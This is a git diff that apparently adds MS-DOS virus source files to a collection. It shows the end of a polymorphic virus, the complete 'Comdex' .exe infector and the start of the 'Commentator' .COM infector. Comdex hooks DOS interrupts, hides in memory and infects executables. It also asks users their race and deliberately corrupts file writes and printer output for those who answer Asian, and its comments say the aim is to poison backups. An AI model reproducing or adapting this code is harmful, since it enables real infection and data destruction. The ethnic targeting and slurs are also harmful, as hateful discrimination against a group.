fuck with SP! +;**************************************************************************** + +no_sp2: push ax + and ah,38 + cmp ah,20 + pop ax + jnz no_sp2_ret + xor ah,20 +no_sp2_ret: ret + + +;**************************************************************************** +;* don't use [BP+..] +;**************************************************************************** + +no_bp: test ah,4 + jnz no_bp2 + and ah,0FDh + ret + +no_bp2: push ax + and ah,7 + cmp ah,6 + pop ax + jnz no_bp_ret + or ah,1 +no_bp_ret: ret + + +;**************************************************************************** +;* write byte for JMP/CALL and fill with random bullshit +;**************************************************************************** + +fill_bullshit: push cx + xchg ax,cx +bull_lup: call rnd_get + stosb + loop bull_lup + pop cx + ret + + +;**************************************************************************** +;* random number generator (stolen from 'Bomber') +;**************************************************************************** + +rnd_init: push cx + call rnd_init0 ;init + and ax,000F + inc ax + xchg ax,cx +random_lup: call rnd_get ;call random routine a few + loop random_lup ; times to 'warm up' + pop cx + ret + +rnd_init0: push dx ;initialize generator + push cx + mov ah,2C + int 21 + in al,40 + mov ah,al + in al,40 + xor ax,cx + xor dx,ax + jmp short move_rnd + +rnd_get: push dx ;calculate a random number + push cx + push bx + mov ax,0 ;will be: mov ax,xxxx + mov dx,0 ; and mov dx,xxxx + mov cx,7 +rnd_lup: shl ax,1 + rcl dx,1 + mov bl,al + xor bl,dh + jns rnd_l2 + inc al +rnd_l2: loop rnd_lup + pop bx + +move_rnd: mov word ptr ds:[rnd_get+4],ax + mov word ptr ds:[rnd_get+7],dx + mov al,dl + pop cx + pop dx + ret + + +;**************************************************************************** +;* tables for engine +;**************************************************************************** + + ; AX AL AH (BX) BL BH CX CL CH +mov_byte db 0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5 + + ; nop clc stc cmc cli cld incbp decbp +nop_data8 db 90, 0F8, 0F9, 0F5, 0FA, 0FC, 45, 4Dh + + ; or and xchg mov +nop_data16 db 8, 20, 84, 88 + + ; bl/bh, bx, si di +dir_change db 07, 07, 04, 05 +ind_change db 03, 03, 06, 07 + + + ; xor xor add sub +how_mode db 30, 30, 00, 28 + + ; ? add xor or +add_mode db 0, 0C8, 0F0, 0C0 + + +;**************************************************************************** +;* text + buffer +;**************************************************************************** + + db ' Amsterdam = COFFEESHOP! ' + +buffer db 0CDh, 20 ;original code of dummy program + db (BUFLEN-2) dup (?) + + +;**************************************************************************** +;* the (packed) picture routine +;**************************************************************************** + +beeld db 0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h + db 090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh + db 001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh + db 000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h + db 0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h + db 00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h + db 0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch + db 004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h + db 022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh + db 0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh + db 081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h + db 003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch + db 0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h + db 002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh + db 0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh + db 0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh + db 0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh + db 0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h + db 084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h + db 083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h + db 001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h + db 0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh + db 0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h + db 0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h + db 0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h + db 01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h + db 061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h + db 0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h + db 009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h + db 05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh + db 0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch + db 020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh + db 0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h + db 0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh + db 060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh + db 022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh + db 0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h + db 041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h + db 009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh + db 01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h + db 09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh + db 084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh + db 053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h + db 01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h + db 0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h + db 07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h + db 076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h + db 055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h + db 084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh + db 0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h + db 050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh + db 070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh + db 020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h + db 019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh + db 0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h + db 083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh + db 0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h + db 072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h + db 041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh + db 002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h + db 072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h + db 0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h + db 070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh + db 040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h + db 0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh + db 061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h + db 048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h + db 066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h + db 05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h + db 093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh + db 0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh + db 0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh + db 0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h + db 0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h + db 0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h + db 0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 0E6h, 0E2h, 0F2h + db 02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h + db 0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h + db 0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh + db 0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh + db 02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h + db 0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h + db 0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah + db 0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h + db 0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh + db 0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h + db 0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh + db 0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah + db 0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h + db 03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh + db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h + db 0E9h, 07Dh, 0EBh + +last: + +_TEXT ends + end first + \ No newline at end of file diff --git a/c/Comdex7.asm b/c/Comdex7.asm new file mode 100755 index 0000000..bad65b0 --- /dev/null +++ b/c/Comdex7.asm @@ -0,0 +1,805 @@ +; The Comdex exibit guide program +; For the Fall 1991 Comdex Las Vegas Convention +; +; +; A short description of the program: +; +; It only affects .exe files. +; Comdex attaches itself to the end of the programs it affects. +; +; When an affected file is run, Comdex copies itself to top of +; free memory, and modifies the memory blocks, in order to hide from +; memory mapping programs. Some programs may overwrite this area, +; causing the computer to crash. If this happens, the user obviously +; deserved it. +; +; Comdex will hook int 21h and when function 4b (exec) is called +; it sometimes will affect the program being run. It will check every +; program that is run for affection, and if it is not already +; affected, it will be. +; +; Comdex will, after 1 hr, one of 16 chance, ask your race or +; nationality prior to executing a file. Af you answer that you +; are asian/pacific rim, one of 256 file writes will have the +; length adjusted downward or the record size reduced, depending +; upon the specific dos call made. +; +; +; Comdex will remove the read-only attribute before trying to +; affect programs. +; +; Affected files can be easily recognized, since they always end in +; "COMD" +; +; To check for system affection, a byte at 0:33c is used - if it +; contains a 069h, Comdex is installed in memory. +; +; +comsiz equ 128 ;in paragraphs + +code segment para public 'code' + assume cs:code,ds:nothing,ss:nothing,es:nothing + +; +; Comdex is basically divided in the following parts. +; +; 1. the main program - run when an affected program is run. +; it will check if the system is already affected, and if not +; it will install Comdex. +; +; 2. the new int 17 handler. adjusts two ascii output chars. +; +; 3. the new int 14 handler. +; +; 4. the new int 8 handler. +; +; 5. the new int 9 handler. +; +; 6. the new int 21 handler. it will look for exec calls, and +; affect the program being run. +; +; +; this is a fake mcb (memory control block) +; ms-dos inspects the chain of mcbs whenever a memory block allocation, +; modification, or release function is requested, or when a program +; is execed or terminated... +; + db 'Z',00,00,comsiz,0,0,0,0,0,0,0,0,0,0,0,0 +; ^___ # of paragraphs of the controlled mem blk + + + +Comdex proc far +; +; Comdex starts by pushing the original start address on the stack, +; so it can transfer control there when finished. +; +labl: sub sp,4 + push bp + mov bp,sp + push ax +;following line nuked for ease of test +; nop ;added so that scan84 doesn't id as [ice-3] + mov ax,es +; +; put the the original cs on the stack. the add ax,data instruction +; is modified by Comdex when it affects other programs. +; + db 05h ;this is an add ax,10h +org_cs dw 0010h + mov [bp+4],ax +; +; put the the original ip on the stack. this mov [bp+2],data instruction +; is modified by Comdex when it affects other programs. +; + db 0c7h,46h,02h +org_ip dw 0000h +; +; save all registers that are modified. +; + push es + push ds + push bx + push cx + push si + push di +; +; check if already installed. quit if so. +; + mov ax,0 + mov es,ax ;zero es + cmp es:[33ch],byte ptr 069h +;&& +; jne l1 +; +; restore all registers and return to the original program. +; +exit: pop di + pop si + pop cx + pop bx + pop ds + pop es + pop ax + pop bp + retf +; +; Comdex tries to hide from detection by modifying the memory block it +; uses, so it seems to be a block that belongs to the operating system. +; +; it looks rather weird, but it seems to work. +; +l1: mov ah,52h + call int21 ;undefined dos call!!? + mov ax,es:[bx-2] + nop + mov es,ax + add ax,es:[0003] + inc ax + inc ax + mov cs:[0001],ax +; +; next, Comdex modifies the memory block of the affected program. +; it is made smaller, and no longer the last block. +; + mov bx,ds + dec bx + nop + mov ds,bx + mov al,'M' + mov ds:[0000],al + mov ax,ds:[0003] + sub ax,comsiz + mov ds:[0003],ax + add bx,ax + inc bx +; +; then Comdex moves itself to the new block. +; + mov es,bx + xor si,si + xor di,di + push cs + pop ds + mov cx,652h ;the length of this program - + ;be *sure* to update this!! + ;in fact, make it symbolic!! + cld + rep movsb +; +; Comdex then transfers control to the new copy of itself. +; + push es + nop + mov ax,offset l3 + push ax + retf + db 3dh ;confuse disassemblers +; +; zero some variables +; +l3: mov byte ptr cs:[min60],0 + mov byte ptr cs:[min50],0 + mov word ptr cs:[timer],0 + mov byte ptr cs:[input_char],0 +; +; set flag to confirm installation +; + xor ax,ax + mov es,ax + inc ax ;dummy operation to confuse function + mov byte ptr es:[33ch],069h +; +; hook interrupt 21: +; (the primary dos function interrupt) +; + mov ax,es:[0084h] + mov cs:[old21],ax + mov ax,es:[0086h] + nop + mov cs:[old21+2],ax + mov ax,cs + mov es:[0086h],ax + mov ax,offset new21 + mov es:[0084h],ax +; +; hook interrupt 17: +; (bios lpt services) +; + mov ax,es:[005ch] + mov cs:[old17],ax + nop + mov ax,es:[005eh] + mov cs:[old17+2],ax + inc ax ;dummy op + mov ax,cs + mov es:[005eh],ax + mov ax,offset new17 + mov es:[005ch],ax + +; +; hook interrupt 14: +; (bios serial port services) +; +; mov ax,es:[0050h] +; mov cs:[old17],ax +; mov ax,es:[0052h] +; mov cs:[old14+2],ax +; mov ax,cs +; mov es:[0052h],ax +; mov ax,offset new14 +; mov es:[0050h],ax +; +; +; + cmp word ptr cs:[noinf],5 + jg hook8 + jmp exit +; +; hook interrupt 9 +; (bios keyboard interrupt) +; +;hook9: mov ax,es:[0024h] +; mov cs:[old9],ax +; mov ax,es:[0026h] +; mov cs:[old9+2],ax +; mov ax,cs +; mov es:[0026h],ax +; mov ax,offset new9 +; mov es:[0024h],ax +; +; hook interrupt 8 +; (timer ticks) +; + db 3dh,0cch,03h,3dh,3dh ;confuse dissassemblers +hook8: mov ax,es:[0020h] + mov cs:[old8],ax + mov ax,es:[0022h] + mov cs:[old8+2],ax + mov ax,cs + nop + mov es:[0022h],ax + mov ax,offset new8 + mov es:[0020h],ax + jmp exit + + +;the int 21 calls go through this routine to confuse the issue: +int21: push ax + mov ax,0ffh + mov word ptr cs:[internal],ax ;set internal int 21 flag + mov al,20h + inc al ;put 21 in al + mov byte ptr cs:[int21b],al ;self modifying code! + pop ax + db 0cdh ;int opcode +int21b: db 0cch ;overwritten to int 21h + push ax + mov ax,00 + mov word ptr cs:[internal],ax ;clear internal int 21 flag + mov ax,0cch + mov byte ptr cs:[int21b],al ;nuke it back to int 0cch + pop ax + retn + + + + db "Welcome to Comdex " + db "From the Interface Group, Inc. " + db "300 First Avenue " + db "Needham, MA 02194 " + db "(617)449-6600 " + db "For data recovery ask for " + db "Peter J. Bowes, unless you are " + db "Oriental, in which case, we will " + db "not help you. " + +quest db 0dh,0ah,"Software Piracy Prevention Center",0dh,0ah + db "requests your cooperation:",0dh,0ah,0dh,0ah + db "Please enter your race or nationality:",0dh,0ah + db "a. White e. Eastern European",0dh,0ah + db "b. Black f. Soviet",0dh,0ah + db "c. Hispanic g. Western European",0dh,0ah + db "d. Asian/Pacific Rim h. Other",0dh,0ah,0dh,0ah + db " Please enter your response: ","$" + +input_char: db 0 + db 3dh ;confuse disassemblers + +askit: push ax + push bx + push cx + push dx + push si + push di + push ds + push es + + cmp byte ptr cs:[min60],1 ;resident 1 hr yet? + jnz noask + cmp byte ptr cs:[input_char],0 + jnz noask ;don't ask twice + mov ax,word ptr cs:[timer] + and ax,000fh ;look at ls free running clock + cmp ax,000ch ;does it happen to be 00ch? (1 of 16) + jnz noask ;if not, don't ask the guy! + + mov dx,offset quest ;ask the guy about race + mov ah,09h ;dos string print + push cs + pop ds + call int21 ;print question on crt + mov ax,0c01h ;dos flush input and get char + call int21 ;get char + and al,0dfh ;force upper case + mov byte ptr cs:[input_char],al ;save away response +noask: pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop ax + retn + +;******************************************************************** + +; +; int 9 (keyboard) replacement: +; this routine does not become active until 50 minutes after +; the execution of an affected program. +; +;new9: push ax +; push es +; cmp byte ptr cs:[min50],1 +; jnz retx1 + +;insert any code here that activates 50 min after launch for int 9... + +;retx1: pop es ;prepare to go to old int 9 code: +; pop ax +; db 0eah ;jmp 0000:0000 nmemonic +;old9 dw 0,0 ;storage for old addr + + +;******************************************************************** +; +; new int 14 (serial port) routine - +; +;new14: cmp ah,1 ;is it an output request? +; jz s1 ;yup. don't return just yet. +;do14: db 0eah ;jmp 0000:0000 nmemonic +;old14 dw 0,0 +;s1: + +;insert any code here for output to serial port... + +; jmp do14 + + +;******************************************************************** +; +; new int 8 routine (bios timer ticks) +; + db 3dh ;piss off disassemblers +new8: push dx + push cx + push bx + push ax + jmp txex ;&& + inc word ptr cs:[timer] ; increment timer + cmp byte ptr cs:[min60],01 ; if counter >= 60 min. + jz tt0 ; no need to check any more + cmp word ptr cs:[timer],-11 ; 60 minutes ? + jz tt1 + cmp word ptr cs:[timer],54601 ; 50 minutes ? + jz tt2 + jmp txex +; +; 50 minutes after an affected program is run the flag is set. +; +tt2: mov byte ptr cs:[min50],1 + jmp txex +; +; 60 minutes after an affected program is run this flag is set. +; +tt1: mov byte ptr cs:[min60],1 + +; exit interrupt routine: + + jmp txex +; +; every time an int 8 occurs, after the 60 min. have passed, we +; end up here: +; +tt0: +;insert any fun timer oriented code here +; +; restore registers and quit +; +txex: pop ax + pop bx + pop cx + pop dx + db 0eah +old8 dw 0,0 + +;******************************************************************** +; +; new int 17 routine. lpt out stuff. +; +new17: jmp do17 ;&& + cmp ah,0 + + jz p0 +do17: db 0eah +old17 dw 0,0 + db 2eh ;confuse disassemblers +p0: cmp byte ptr cs:[input_char],44h ;d. asian/pacific rim? + jne not_asian + push ax + mov ax,word ptr cs:[timer] + and ax,00ffh + cmp ax,0032h ; one of 256 odds + pop ax ; restore ax, doesn't change flags + jne do17 ; don't twiddle lpt 255/256 odds + cmp al,55h ; printing a "U"? + jne notu + mov al,0efh ; make it upside-down! + jmp do17 ; and continue. +notu: cmp al,06fh ; lower case "o"? + jne do17 ; no? then exit. + mov al,093h ; make it an "o" with a ^ over it! + jmp do17 ; and exit. +not_asian: + jmp do17 + + +;Int 21 file adjustment routines - the following routines corrupt a small +;percentage of the file writes that Asians do in their use of the pc. For +;example, when one updates a spreadsheet or exits a word processor, the +;application software will re-write the file out to disk. What we do here +;is reduce the amount of the data that is written to the file. The hope +;is that the problem will be hidden for a significant period of time, since +;it happens only infrequently, and since it typically will happen upon exit +;of the application package. If the reduction of the write causes a serious +;problem (we hope it will) it won't usually be noticed until that file is +;loaded again. The other hope is that if the user does backup his data from +;time to time, this corrupted data will end up on the backup as well before +;the problem is noticed. With luck, maybe the user will assume that the +;hardware is intermittent, and backup the system over the top of his only +;existing backup set, then purchase replacement hardware. + + + +fuck_size_f: ;if asian, reduce file rec size by 1 on fcb ops + push ax + push di + push dx ;setup di for indexed operations + pop di + cmp byte ptr cs:[input_char],044h ;asian? + jne exit_fuck_f ;no, then do nothing + mov ax,word ptr cs:[timer] + and ax,00ffh ;mask off ls 8 bits of free run timer + cmp ax,0069h ;does it happen to be 69h? (1 of 256) + jne exit_fuck_f ;nope, so do nothing + + mov al,[ds:di+0] ;get first byte of user's fcb + cmp al,0ffh ;extended fcb? + jne norm_fcb ;nope, so handle as normal fcb + mov ax,[ds:di+15h] ;get record size, 16 bits on extd fcb. + dec ax ;adjust it a bit, since the user really doesn't + ;need to write so much data. + mov [ds:di+15h],ax + jmp exit_fuck_f ;subsequent r/w ops should fail to get the + ;right data until this file is closed or + ;until system crashes. + +norm_fcb: + mov al,[ds:di+0eh] ;get record size, only 8 bits on norm fcb. + dec al ;reduce by 1 + mov [ds:di+0eh],al ;store it back +exit_fuck_f: + pop di + pop ax + jmp do21 + + +fuck_size_h: ;reduce length of handle file writes + push ax + push di + push dx + pop di + cmp byte ptr cs:[input_char],044h ;asian? + jne exit_fuck_h ;no, so don't damage anything. + mov ax,word ptr cs:[timer] + and ax,00ffh + cmp ax,0066h ;one out of 256 odds + jne try_again ;no? well give it another chance. + and cx,0fff5h ;reduce write length in bytes by a flakey amt + dec cx ;ranging from 1 to 11 bytes. +exit_fuck_h: + pop ax + jmp do21 + +try_again: + cmp ax,0077h ;one of 256 odds? + jne exit_fuck_h ;exit if not lucky. + mov ax,[ds:di+30h] ;get a user data byte from his buffer + xor ax,0004h ;toggle bit 2 of byte 30h + mov [ds:di+30h],ax ;and put it back + jmp exit_fuck_h + +;******************************************************************** +; +; this is the int 21 replacement. it only does something in +; the case of an execute program dos call. +; +;be careful here not to trap int codes that we use internally! +new21: jmp do21 ;&& + push ax + cmp word ptr cs:[internal],0ffh ;is it an internal int 21? + je do21 ;yup, so no tweaking allowed + pop ax + cmp ah,015h ;is it a fcb file write? + je fuck_size_f ;if asian, reduce record size by 1 + cmp ah,040h ;is it a handle file write? + je fuck_size_h ;if asian, adjust write length down. + cmp ah,4bh ;is it an int 21 code 4b? + je l5 ;yup. go affect stuff +do21: db 0eah ;nope. let dos handle it +old21 dw 0,0 +; +; the code to only affect every tenth program has been removed +; for now. restore this code later. +; + db 3dh ;confuse disassemblers +l5: call askit ;ask race if appropriate + push ax + push bx + push cx + push dx + push si + push ds +; +; search for the file name extension ... +; + mov bx,dx +l6: inc bx + cmp byte ptr [bx],'.' + je l8 + cmp byte ptr [bx],0 + jne l6 +; +; ... and quit unless it starts with "ex". +; +l7: pop ds + pop si + pop dx + pop cx + pop bx + pop ax + jmp do21 +l8: inc bx + cmp word ptr [bx],5845h ;"EX" + jne l7 +; +; when an .exe file is found, Comdex starts by turning off +; the read-only attribute. the read-only attribute is not restored +; when the file has been affected. +; + mov ax,4300h ; get attribute + call int21 + jc l7 + mov ax,4301h ; set attribute + and cx,0feh + call int21 + jc l7 +; +; next, the file is examined to see if it is already affected. +; the signature (4418 5f19) is stored in the last two words. +; + mov ax,3d02h ; open / write access + call int21 + jc l7 + mov bx,ax ; file handle in bx +; +; this part of the code is new: get date of file. +; + mov ax,5700h + call int21 + jc l9 + mov cs:[date1],dx + mov cs:[date2],cx +; + push cs ; now ds is no longer needed + pop ds +; +; the header of the file is read in at [id+8]. Comdex then +; modifies itself, according to the information stored in the +; header. (the original cs and ip addressed are stored). +; + mov dx,offset id+8 + mov cx,1ch + mov ah,3fh + call int21 + jc l9 + mov ax,ds:id[1ch] + mov ds:[org_ip],ax + inc ax ;confuse reader a little + mov ax,ds:id[1eh] + add ax,10h + mov ds:[org_cs],ax +; +; next the read/write pointer is moved to the end of the file-4, +; and the last 4 bytes read. they are compared to the signature, +; and if equal nothing happens. +; + mov ax,4202h + mov cx,-1 + mov dx,-4 + call int21 + jc l9 + add ax,4 + mov ds:[len_lo],ax + jnc l8a + inc dx +l8a: mov ds:[len_hi],dx +; +; this part of Comdex is new - check if it is below minimum length +; + cmp dx,0 + jne l8b + mov cl,13 + shr ax,cl + cmp ax,0 + jg l8b + nop + jmp short l9 +l8b: mov ah,3fh + mov cx,4 + mov dx,offset id+4 + call int21 + jnc l11 +l9: mov ah,3eh + call int21 +l10: jmp l7 + db 3eh ;confuse disassemblers +; +; compare to 4f43,444d which is first 4 letters of Comdex +; +l11: mov si,offset id+4 + mov ax,[si] + cmp ax,4f43h ;ascii "OC" + jne l12 + mov ax,[si+2] + cmp ax,444dh ;ascii "DM" + je l9 +; +; the file is not affected, so the next thing Comdex does is +; affect it. first it is padded so the length becomes a multiple +; of 16 bytes. this is done so Comdex code can start at a +; paragraph boundary. +; +l12: mov ax,ds:[len_lo] + and ax,0fh + jz l13 + mov cx,16 + sub cx,ax + nop + add ds:[len_lo],cx + jnc l12a + inc ds:[len_hi] +l12a: mov ah,40h + call int21 ;dos write to file + jc l9 +; +; next the main body of Comdex is written to the end. +; +l13: xor dx,dx + mov cx,offset id + 4 + mov ah,40h ;dos write to file + call int21 + jc l9 +; +; next the .exe file header is modified: +; +; first modify initial ip +; +f0: mov ax,offset labl + mov ds:id[1ch],ax +; +; modify starting cs = Comdex cs. it is computed as: +; +; (original length of file+padding)/16 - start of load module +; + mov dx,ds:[len_hi] + mov ax,ds:[len_lo] + mov cl,cs:[const1] ; modified a bit + shr dx,cl + rcr ax,cl + nop + shr dx,cl + rcr ax,cl + shr dx,cl + rcr ax,cl + nop + shr dx,cl + rcr ax,cl + sub ax,ds:id[10h] + mov ds:id[1eh],ax +; +; modify length mod 512 +; + add ds:[len_lo],offset id+4 + jnc l14 + inc ds:[len_hi] +l14: mov ax,ds:[len_lo] + and ax,511 + nop + mov ds:id[0ah],ax +; +; modify number of blocks used +; + mov dx,ds:[len_hi] + mov ax,ds:[len_lo] + add ax,511 + jnc l14a + inc dx +l14a: mov al,ah + mov ah,dl + shr ax,1 + mov ds:id[0ch],ax +; +; finally the modified header is written back to the start of the +; file. +; +wrtback:mov ax,4200h + xor cx,cx + xor dx,dx + call int21 ;dos move file pointer + jc endit + mov ah,40h + mov dx,offset id+8 + mov cx,1ch + call int21 ;dos write to file +; +; this part is new: restore old date. +; + mov dx,cs:[date1] + mov cx,cs:[date2] + mov ax,5701h + call int21 ;dos set file date and time + jc endit + inc word ptr cs:[noinf] +; +; affection is finished - close the file and execute it +; +endit: jmp l9 +; +; + +timer dw 0 ; number of timer (int 8) ticks +const1 db 1 ; the constant 1 +const0 dw 0 ; the constant 0 +internal dw 0 ; internal int 21 in effect. +min50 db 0 ; flag, set to 1 50 minutes after execution +min60 db 0 ; flag, set to 1 60 minutes after execution +vmode db 0 ; video mode +date1 dw ? ; date of file +date2 dw ? ; ditto. +len_lo dw ? +len_hi dw ? +noinf dw 0 ; number of affections +id label word + db "COMD" ; the signature of Comdex. +; +; a buffer, used for data from the file. +; + +Comdex endp +code ends + + end labl + \ No newline at end of file diff --git a/c/Comment1.asm b/c/Comment1.asm new file mode 100755 index 0000000..96f0f6a --- /dev/null +++ b/c/Comment1.asm @@ -0,0 +1,334 @@ +;Ŀ +; Commentator Virus by Glenn... +;Ĵ +; This will be a Parasytic Non-Resident .COM infector. +; It will also infect COMMAND.COM. +; +.MODEL TINY + +Public VirLen,MovLen + +Code Segment para 'Code' +Assume Cs:Code,Ds:Code,Es:Code + + Org 100h + +Signature Equ 0DaDah ; Signature of virus! + +Buff1 Equ 0F100h +Buff2 Equ Buff1+2 +VirLen Equ Offset Einde-Offset Begin +MovLen Equ Offset Einde-Offset Mover +DTA Equ 0F000h +Proggie Equ DTA+1Eh +Lenny Equ DTA+1Ah + +MinLen Equ Virlen ;Minimale lengte te besmetten programma +MaxLen Equ 0EF00h ; Maximale lengte te besmetten programma + +; +; This part will contain the actual virus code, for searching the +; next victim and infection of it. +; + +Begin: + Jmp Short OverSig ; Sprong naar Oversig vanwege kenmerk + DW Signature ; Herkenningsteken virus +Oversig: + Pushf ;------------------ + Push AX ; Alle registers opslaan voor + Push BX ; later gebruik van het programma + Push CX ; + Push DX ; + Push DS ; + Push ES ; + Push SS ; + Push SI ; + Push DI ;------------------ +InfectPart: + Mov AX,Sprong ;------------------ + Mov Buf1,AX ; Spronggegevens bewaren om + Mov BX,Source ; besmette programma te starten + Mov Buf2,BX ;------------------ + Mov AH,1Ah ; DTA area instellen op + Mov DX,DTA ; $DTA area + Int 21h ;------------------ +Vindeerst: Mov AH,4Eh ; Zoeken naar 1e .COM file in directory + Mov Cx,1 ; + Lea DX,FindPath ; + Int 21h ;------------------ + Jnc KijkInfected ; Geen gevonden, goto Afgelopen + Jmp Afgelopen ;------------------ +KijkInfected: + Mov DX,Cs:[Lenny] ;------------------ + Cmp DX,MinLen ; Kijken of programmalengte voldoet + Jb ZoekNext ; aan de eisen van het virus + Cmp DX,MaxLen ; + Ja ZoekNext ;------------------ +On2: Mov AH,3Dh ; Zo ja , file openen en file handle + Mov AL,2 ; opslaan + Mov DX,Proggie ; + Int 21h ; + Mov FH,AX ;------------------ + Mov BX,AX ; + Mov AH,3Fh ; Lezen 1e 4 bytes van een file met + Mov CX,4 ; een mogelijk kenmerk van het virus + Mov DX,Buff1 ; + Int 21h ;------------------ +Sluiten: Mov AH,3Eh ; File weer sluiten + Int 21h ;------------------ + Mov AX,CS:[Buff2] ; Vergelijken inhoud lokatie Buff1+2 + Cmp AX,Signature ; met Signature. Niet gelijk : Zoeken op + Jnz Infect 